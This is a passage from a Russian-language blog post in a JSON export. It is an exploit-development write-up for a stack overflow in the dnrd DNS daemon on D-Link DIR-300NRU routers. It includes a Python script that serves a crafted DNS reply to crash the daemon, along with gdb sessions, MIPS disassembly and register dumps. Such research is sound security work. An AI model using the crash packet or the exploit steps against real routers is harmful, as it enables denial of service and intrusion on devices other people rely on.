{"id":202034,"date":"2013-11-14T09:32:02","date_gmt":"2013-11-14T05:32:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=202034"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=202034","title":{"rendered":"<span class=\"post_title\">\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u043e \u0437\u0430\u0431\u044b\u0442\u0443\u044e \u0441\u0442\u0430\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 D-Link DIR-300NRU<\/span>"},"content":{"rendered":"<div class=\"content html_format\">   \t\u042f <a href=\"http:\/\/habrahabr.ru\/post\/199294\/\">\u0443\u0436\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b<\/a>, \u0447\u0442\u043e \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 D-Link DIR-300NRU, \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b DNS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u0435\u043c\u043e\u043d dnrd \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2002-0140. \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u044f \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043c\u0430\u0433\u0438\u0435\u0439 <a href=\"http:\/\/en.wikipedia.org\/wiki\/Return-oriented_programming\">ROP<\/a>, \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435.<br \/>  <a name=\"habracut\"><\/a><\/p>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u044e\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434:  <\/p>\n<pre><code>\tlui\tt9,0x2ab4 \taddiu\tt9,t9,-18464 \tnop \tjalr\tt9 \tnop <\/code><\/pre>\n<p>  \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>exit(0)<\/i>. \u0421\u043e\u0433\u043b\u0430\u0441\u0435\u043d, \u043f\u0440\u043e\u0441\u0442\u043e \u0438 \u0431\u0435\u0437 \u0432\u043a\u0443\u0441\u0430. \u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0442\u0435\u043a\u0435. <\/p>\n<h3>\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0431 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445.<\/h3>\n<p>  \u0414\u043b\u044f \u043a\u043e\u043c\u0444\u043e\u0440\u0442\u043d\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f <i>dnrd<\/i>, \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f <i>gdbserver<\/i> \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0439 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0440\u043e\u0443\u0442\u0435\u0440\u0430 \u0438 \u0441\u0430\u043c <i>gdb<\/i>, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b MIPS. \u0415\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0431\u043e\u0440\u0430 \u0434\u043b\u044f \u043a\u0440\u043e\u0441\u0441-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u043a <a href=\"http:\/\/ftp.dlink.ru\/pub\/Router\/DIR-300_NRU\/Source\/DIR-300_B1_GPL\/2.05\/DIR300Bx_GPL205.tar.gz\">\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438<\/a>. \u0422\u0430\u043c \u0436\u0435 \u043d\u0430\u0439\u0434\u0435\u0442\u0441\u044f <i>mipsel-linux-uclibc-objdump<\/i>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a dnrd \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <i>libc<\/i>, \u0438\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e. \u0414\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443, \u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f <a href=\"https:\/\/code.google.com\/p\/firmware-mod-kit\/\">firmwire-mod-kit<\/a>. \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0441\u043e\u0431\u0440\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u0445 \u0443\u0442\u0438\u043b\u0438\u0442.  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0418 \u043d\u0430\u043a\u043e\u043d\u0435\u0446, \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0441\u043b\u0443\u0448\u0430\u044e\u0449\u0438\u0439 53 \u043f\u043e\u0440\u0442 UDP \u0438 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442\u0441\u044b\u043b\u0430\u044e\u0449\u0438\u0439 \u043e\u0441\u043e\u0431\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">#!\/usr\/bin\/python   import sys import socket  UDP_IP = &quot;192.168.0.100&quot; UDP_PORT = 53  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((UDP_IP, UDP_PORT))  k_answer = bytearray() for i in range(0,514): \tk_answer.append(i%256) k_answer[0:12] = [0xff,0xff,0x01,0x20,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01]#\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a DNS-\u043e\u0442\u0432\u0435\u0442 k_answer[12] = 0x1d      #\u0434\u043b\u0438\u043d\u043d\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u044f name k_answer[42:44] = [0xc0,0x0c]   #\u0437\u0430\u0446\u0438\u043a\u043b\u0438\u043c name while True: \tdata, (r_addr, r_port) = sock.recvfrom(1024) \tsock.sendto(k_answer, (r_addr, r_port)) <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  <\/p>\n<h3>\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430<\/h3>\n<p>  \u0421 \u043f\u0435\u0440\u0432\u043e\u0439 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <i>telnet<\/i> \u043a \u0440\u043e\u0443\u0442\u0435\u0440\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430 \u043d\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430:  <\/p>\n<pre><code class=\"dos\">gdbserver 192.168.0.1:6666 \/usr\/sbin\/dnrd -s 192.168.0.100 <\/code><\/pre>\n<p>  192.168.0.100 \u2014 \u0430\u0434\u0440\u0435\u0441 \u0432\u044b\u0448\u0435\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e DNS \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043d\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442.<\/p>\n<p>  \u041d\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c <i>mipsel-linux-uclibc-gdb<\/i> \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u0443\u044e \u043e\u0442\u043b\u0430\u0434\u043a\u0443:  <\/p>\n<pre><code class=\"dos\">(gdb) target remote 192.168.0.1:6666 (gdb) continue <\/code><\/pre>\n<p>  \u0421 \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u043f\u043e\u0441\u044b\u043b\u0430\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u043a \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u043e\u043c\u0443 \u0434\u0435\u043c\u043e\u043d\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u044b\u0439 \u043d\u0430\u043c\u0438 \u043f\u0430\u043a\u0435\u0442:  <\/p>\n<pre><code class=\"dos\">dig @192.168.0.1 example.com <\/code><\/pre>\n<p>  \u0412\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0441 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u043e\u043c \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c:  <\/p>\n<pre><code class=\"dos\">Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. <\/code><\/pre>\n<p>  \u0423\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043d\u043e \u043c\u044b \u0434\u043e\u0431\u0438\u043b\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>get_objectname()<\/i> \u0434\u043e\u0431\u0440\u0430\u043b\u0441\u044f \u0434\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0435\u043c\u0443 \u043f\u0430\u043c\u044f\u0442\u044c. \u0417\u0430 \u044d\u0442\u043e \u043e\u043d \u0431\u044b\u043b \u043d\u0430\u043a\u0430\u0437\u0430\u043d \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u043c \u211611 \u0438 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d. \u041f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u0435\u0442 \u043c\u0435\u0441\u0442\u043e \u0431\u044b\u0442\u044c, \u043d\u043e \u043a\u0430\u043a \u044d\u0442\u0438\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f?<\/p>\n<h3>\u0414\u0435\u043b\u0430\u0435\u043c \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u044e \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439<\/h3>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u043a\u0430\u043a-\u0442\u043e \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u043d\u0430\u0448\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>get_objectname()<\/i>. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435 dnrd \u0442\u0430\u043a\u043e\u0433\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u043d\u0435\u0442. \u042f \u043f\u043e\u0448\u0435\u043b \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u043f\u0443\u0442\u0435\u043c \u2014 \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u043b \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043d\u0430\u0448\u0430 \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>parse_query()<\/i>.   <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041e\u0442\u0441\u044e\u0434\u0430 \u0438 \u043d\u0430\u0447\u043d\u0435\u043c<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code>   0x405e00 &lt;parse_query&gt;:\tlui\tgp,0xfc0; \u043d\u0430 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u0432\u0445\u043e\u0434\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435 \u0441\u0430\u043c\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435    0x405e04 &lt;parse_query+4&gt;:\taddiu\tgp,gp,9648    0x405e08 &lt;parse_query+8&gt;:\taddu\tgp,gp,t9    0x405e0c &lt;parse_query+12&gt;:\taddiu\tsp,sp,-48    0x405e10 &lt;parse_query+16&gt;:\tsw\tgp,16(sp)    0x405e14 &lt;parse_query+20&gt;:\tmove\tt0,a1    0x405e18 &lt;parse_query+24&gt;:\tsw\ts1,36(sp)    0x405e1c &lt;parse_query+28&gt;:\tsw\ts0,32(sp)    0x405e20 &lt;parse_query+32&gt;:\tsw\tra,44(sp)    0x405e24 &lt;parse_query+36&gt;:\tsw\tgp,40(sp)    0x405e28 &lt;parse_query+40&gt;:\tlhu\tv1,4(t0)    0x405e2c &lt;parse_query+44&gt;:\taddiu\ts0,a0,2    0x405e30 &lt;parse_query+48&gt;:\tandi\tv0,v1,0xff    0x405e34 &lt;parse_query+52&gt;:\tsll\tv0,v0,0x8    0x405e38 &lt;parse_query+56&gt;:\tsrl\tv1,v1,0x8    0x405e3c &lt;parse_query+60&gt;:\tor\tv1,v1,v0    0x405e40 &lt;parse_query+64&gt;:\taddiu\tt1,a1,12    0x405e44 &lt;parse_query+68&gt;:\tmove\ts1,a0    0x405e48 &lt;parse_query+72&gt;:\tmove\ta3,zero    0x405e4c &lt;parse_query+76&gt;:\taddiu\ta1,sp,28    0x405e50 &lt;parse_query+80&gt;:\tmove\ta0,t0    0x405e54 &lt;parse_query+84&gt;:\tmove\ta2,s0    0x405e58 &lt;parse_query+88&gt;:\tbeqz\tv1,0x405f58 &lt;parse_query+344&gt;; \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043d\u043e \u043d\u0435 \u0442\u043e... \u0438\u0434\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435    0x405e5c &lt;parse_query+92&gt;:\tmove\tv0,zero    0x405e60 &lt;parse_query+96&gt;:\tlhu\tv1,2(t0)    0x405e64 &lt;parse_query+100&gt;:\tsw\tt1,28(sp)    0x405e68 &lt;parse_query+104&gt;:\tandi\tv0,v1,0xff    0x405e6c &lt;parse_query+108&gt;:\tsll\tv0,v0,0x8    0x405e70 &lt;parse_query+112&gt;:\tsrl\tv1,v1,0x8    0x405e74 &lt;parse_query+116&gt;:\tor\tv1,v1,v0    0x405e78 &lt;parse_query+120&gt;:\tsh\tv1,0(s1)    0x405e7c &lt;parse_query+124&gt;:\tlw\tt9,-32740(gp)    0x405e80 &lt;parse_query+128&gt;:\tnop    0x405e84 &lt;parse_query+132&gt;:\taddiu\tt9,t9,21180    0x405e88 &lt;parse_query+136&gt;:\tnop    0x405e8c &lt;parse_query+140&gt;:\tjalr\tt9;\u0432\u043e\u0442 \u0442\u0443\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e - \u0434\u043e \u0432\u0445\u043e\u0434\u0430 \u0441\u0442\u0435\u043a \u0435\u0441\u0442\u044c,     0x405e90 &lt;parse_query+144&gt;:\tnop    ;\u0430 \u043f\u043e\u0441\u043b\u0435 - \u043d\u0435\u0442\u0443 0x4052bc - \u0430\u0434\u0440\u0435\u0441 \u043a\u0443\u0434\u0430 \u0443\u0445\u043e\u0434\u0438\u043c    0x405e94 &lt;parse_query+148&gt;:\tlw\tgp,16(sp)    0x405e98 &lt;parse_query+152&gt;:\taddu\tv0,s1,v0    0x405e9c &lt;parse_query+156&gt;:\tlw\ta0,28(sp)    0x405ea0 &lt;parse_query+160&gt;:\tsb\tzero,2(v0)    0x405ea4 &lt;parse_query+164&gt;:\tlb\tv0,0(a0)    0x405ea8 &lt;parse_query+168&gt;:\tlb\tv1,1(a0)    0x405eac &lt;parse_query+172&gt;:\tsb\tv0,24(sp)    0x405eb0 &lt;parse_query+176&gt;:\tsb\tv1,25(sp)    0x405eb4 &lt;parse_query+180&gt;:\tlhu\tv1,24(sp)    0x405eb8 &lt;parse_query+184&gt;:\taddiu\ta1,a0,2    0x405ebc &lt;parse_query+188&gt;:\tandi\tv0,v1,0xff    0x405ec0 &lt;parse_query+192&gt;:\tsll\tv0,v0,0x8    0x405ec4 &lt;parse_query+196&gt;:\tsrl\tv1,v1,0x8    0x405ec8 &lt;parse_query+200&gt;:\tor\tv1,v1,v0    0x405ecc &lt;parse_query+204&gt;:\tsw\ta1,28(sp)    0x405ed0 &lt;parse_query+208&gt;:\tsw\tv1,304(s1)    0x405ed4 &lt;parse_query+212&gt;:\tlb\tv0,2(a0)    0x405ed8 &lt;parse_query+216&gt;:\tlb\tv1,3(a0)    0x405edc &lt;parse_query+220&gt;:\tsb\tv0,24(sp)    0x405ee0 &lt;parse_query+224&gt;:\tsb\tv1,25(sp)    0x405ee4 &lt;parse_query+228&gt;:\tlhu\tv1,24(sp)    0x405ee8 &lt;parse_query+232&gt;:\taddiu\ta0,a0,4    0x405eec &lt;parse_query+236&gt;:\tandi\tv0,v1,0xff    0x405ef0 &lt;parse_query+240&gt;:\tsll\tv0,v0,0x8    0x405ef4 &lt;parse_query+244&gt;:\tsrl\tv1,v1,0x8    0x405ef8 &lt;parse_query+248&gt;:\tor\tv1,v1,v0    0x405efc &lt;parse_query+252&gt;:\tsw\tv1,308(s1)    0x405f00 &lt;parse_query+256&gt;:\tsw\ta0,28(sp)    0x405f04 &lt;parse_query+260&gt;:\tmove\ta0,s0    0x405f08 &lt;parse_query+264&gt;:\tlw\tt9,-32664(gp)    0x405f0c &lt;parse_query+268&gt;:\tnop    0x405f10 &lt;parse_query+272&gt;:\tjalr\tt9    0x405f14 &lt;parse_query+276&gt;:\tnop    0x405f18 &lt;parse_query+280&gt;:\tlw\tgp,16(sp)    0x405f1c &lt;parse_query+284&gt;:\taddu\tv1,v0,s1    0x405f20 &lt;parse_query+288&gt;:\taddiu\ta1,v1,-1    0x405f24 &lt;parse_query+292&gt;:\tblez\tv0,0x405f40 &lt;parse_query+320&gt;    0x405f28 &lt;parse_query+296&gt;:\tmove\ta0,s0    0x405f2c &lt;parse_query+300&gt;:\tlb\tv1,2(a1)    0x405f30 &lt;parse_query+304&gt;:\tli\tv0,46    0x405f34 &lt;parse_query+308&gt;:\tbne\tv1,v0,0x405f40 &lt;parse_query+320&gt;    0x405f38 &lt;parse_query+312&gt;:\tnop    0x405f3c &lt;parse_query+316&gt;:\tsb\tzero,2(a1)    0x405f40 &lt;parse_query+320&gt;:\tlw\tt9,-32180(gp)    0x405f44 &lt;parse_query+324&gt;:\tnop    0x405f48 &lt;parse_query+328&gt;:\tjalr\tt9    0x405f4c &lt;parse_query+332&gt;:\tnop    0x405f50 &lt;parse_query+336&gt;:\tlw\tgp,16(sp)    0x405f54 &lt;parse_query+340&gt;:\tlw\tv0,28(sp)    0x405f58 &lt;parse_query+344&gt;:\tlw\tra,44(sp)    0x405f5c &lt;parse_query+348&gt;:\tlw\ts1,36(sp)    0x405f60 &lt;parse_query+352&gt;:\tlw\ts0,32(sp)    0x405f64 &lt;parse_query+356&gt;:\tjr\tra    0x405f68 &lt;parse_query+360&gt;:\taddiu\tsp,sp,48    0x405f6c &lt;parse_query+364&gt;:\tnop  <\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041f\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u0442\u043e\u0447\u043a\u0438 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 0x405e8c \u0438 0x405e94. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0432\u0441\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0443\u0434\u0430\u0447\u043d\u043e. \u0421\u0442\u0435\u043a \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u043f\u0435\u0440\u0435\u0434 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e:  <\/p>\n<pre><code class=\"dos\">(gdb) i r           zero       at       v0       v1       a0       a1       a2       a3  R0   00000000 1100fc00 00000100 00000120 7f925960 7f925694 7f9256c2 00000000              t0       t1       t2       t3       t4       t5       t6       t7  R8   7f925960 7f92596c 2aaae13c 2aaf48c4 00000410 073c3a40 2aaf5ed4 00401538              s0       s1       s2       s3       s4       s5       s6       s7  R16  7f9256c2 7f9256c0 00000000 7f925c00 7f925c08 1000b678 10007124 00000000              t8       t9       k0       k1       gp       sp       s8       ra  R24  2aaf07c4 004052bc 00000000 00000000 100083b0 7f925678 7f8d5ac8 004033d0              sr       lo       hi      bad    cause       pc       00000000 0001cbe9 000002e1 00407038 10800024 00405e8c             fsr      fir       00000000 00000000  (gdb) bt #0  0x00405e8c in parse_query () #1  0x004033d0 in cache_dnspacket () #2  0x00408228 in handle_udpreply () #3  0x0040752c in run () #4  0x00402778 in main () (gdb) c <\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0438\u2026 \u043d\u0430\u0448\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043d\u043e\u0432\u0430 \u0443\u043c\u0438\u0440\u0430\u0435\u0442. \u0412\u043e\u0442 \u0438 \u043d\u0430\u0448\u043b\u0430\u0441\u044c \u043d\u0430\u0448\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <i>get_objectname()<\/i>. \u041e\u043d\u0430 \u0436\u0438\u0432\u0435\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0435 t9 = 0x004052bc. <br \/>  \u0421\u0442\u043e\u0438\u0442 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f MIPS \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0445 a0-a3, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0445 v0 \u0438 v1, \u0430 \u0430\u0434\u0440\u0435\u0441\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u2014 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0435 ra. \u0415\u0441\u043b\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 